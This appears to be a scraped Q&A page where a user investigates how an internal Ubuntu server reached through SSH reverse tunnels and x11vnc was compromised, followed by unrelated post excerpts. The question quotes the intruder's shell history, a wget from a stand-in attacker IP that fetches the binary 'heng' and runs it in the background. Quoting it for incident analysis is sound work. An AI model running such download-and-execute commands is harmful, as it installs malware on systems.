Skip to main content

security - Weak points of ssh tunnel and x11 server, hack investigation

So, today I've been hacked. It's very puzzling to me how it was done, so I'm looking for experienced people to show weak points in design of my systems.



I have two servers. One is VPS with connection to internet (server1), second one is server inside private network (server2), connected to the first one via ssh reverse tunnel, exposing ports 22 (ssh) and 5900 (x11vnc) to the internet. Both servers are Ubuntu 14.04.




I use these commands to create ssh reverse tunnel (on the server2):



autossh -fR \*:4202:localhost:22 -N root@server1.com
autossh -fR \*:5900:localhost:5900 -N root@server1.com


A little more specifics about SSH configuration on my servers.







  1. Allows root login

  2. Has this line:



    GatewayPorts clientspecified




Full configuration







  1. Doesn't allow root login.

  2. Uses default (stock) ssh configuration

  3. I use common (batman related:) ) username with 9 characters password.



Full configuration




As for x11, I use this command to create x11vnc server:



/usr/bin/x11vnc -dontdisconnect -notruecolor -noxfixes -shared -forever -rfbport 5900 -bg -o /home/{username}/.vnc/x11vnc.log -rfbauth /home/{username}/.vnc/passwd -auth /var/lib/mdm/:0.Xauth


My password for VNC is pretty good.



server1 is being actively bruteforced, but I don't have any evidence it was compromised.



You can't access server2 from server1 without password.






So, today I found this in my .bash_history on the server2:



wget http://{HACKER_IP}:8080/heng
chmod 0755 /root/heng
chmod 0755 ./heng
/dev/null 2>&1 &
nohup ./heng > /dev/null 2>&1 &



{HACKER_IP} is reported by virtualtotal as one that distributes Win32.Ramnit.



/var/log/auth.log is clean.



heng process was inside my memory but wasn't on disk. I've shutdown my system so I don't have it anymore.







  1. Passwords were transmited via skype at one point.

  2. I use xshell, and I use password manager to store passwords to my connections.

  3. I use public WI-FI often.





How it's possible that server2 is being compromised before server1 ? It's lives in non-standart 4202 port and uses pretty good login/password combination.




How can I avoid this in the future ?

Comments

Popular posts from this blog

iLO 3 Firmware Update (HP Proliant DL380 G7)

The iLO web interface allows me to upload a .bin file ( Obtain the firmware image (.bin) file from the Online ROM Flash Component for HP Integrated Lights-Out. ) The iLO web interface redirects me to a page in the HP support website ( http://www.hp.com/go/iLO ) where I am supposed to find this .bin firmware, but no luck for me. The support website is a mess and very slow, badly categorized and generally unusable. Where can I find this .bin file? The only related link I am able to find asks me about my server operating system (what does this have to do with the iLO?!) and lets me download an .iso with no .bin file And also a related question: what is the latest iLO 3 version? (for Proliant DL380 G7, not sure if the iLO is tied to the server model)

linux - Awstats - outputting stats for merged Access_logs only producing stats for one server's log

I've been attempting this for two weeks and I've accessed countless number of sites on this issue and it seems there is something I'm not getting here and I'm at a lost. I manged to figure out how to merge logs from two servers together. (Taking care to only merge the matching domains together) The logs from the first server span from 15 Dec 2012 to 8 April 2014 The logs from the second server span from 2 Mar 2014 to 9 April 2014 I was able to successfully merge them using the logresolvemerge.pl script simply enermerating each log and > out_putting_it_to_file Looking at the two logs from each server the format seems exactly the same. The problem I'm having is producing the stats page for the logs. The command I've boiled it down to is /usr/share/awstats/tools/awstats_buildstaticpages.pl -configdir=/home/User/Documents/conf/ -config=example.com awstatsprog=/usr/share/awstats/wwwroot/cgi-bin/awstats.pl dir=/home/User/Documents/parced -month=all -year=all...

linux - How can I get my mediawiki to stop thinking I have cookies disabled?

I've searched half a day for how to resolve this issue, and can't figure it out. Shortly after I made my wiki a simple private wiki according to the instructions at Mediawiki's website, it started giving me this weird login error message: Wiki uses cookies to log in users. You have cookies disabled. Please enable them and try again. If I remove those private wiki settings, the error disappears, even if I try logging in. But I need it to be a private wiki for only my team. So what do I do? Here's what I've done so far. Just to be safe, after ever change, I try rebooting Apache using: sudo /etc/init.d/apache2 restart In my php.ini file, I have the following set: session.save_path = "/var/lib/php5" session.cookie_secure = secure session.cookie_path = /tmp session.cookie_domain = my server's internal URL (should I even set this? this field was blank before, but not commented out) session.referer_check = Off I ran the following to ensure that the fold...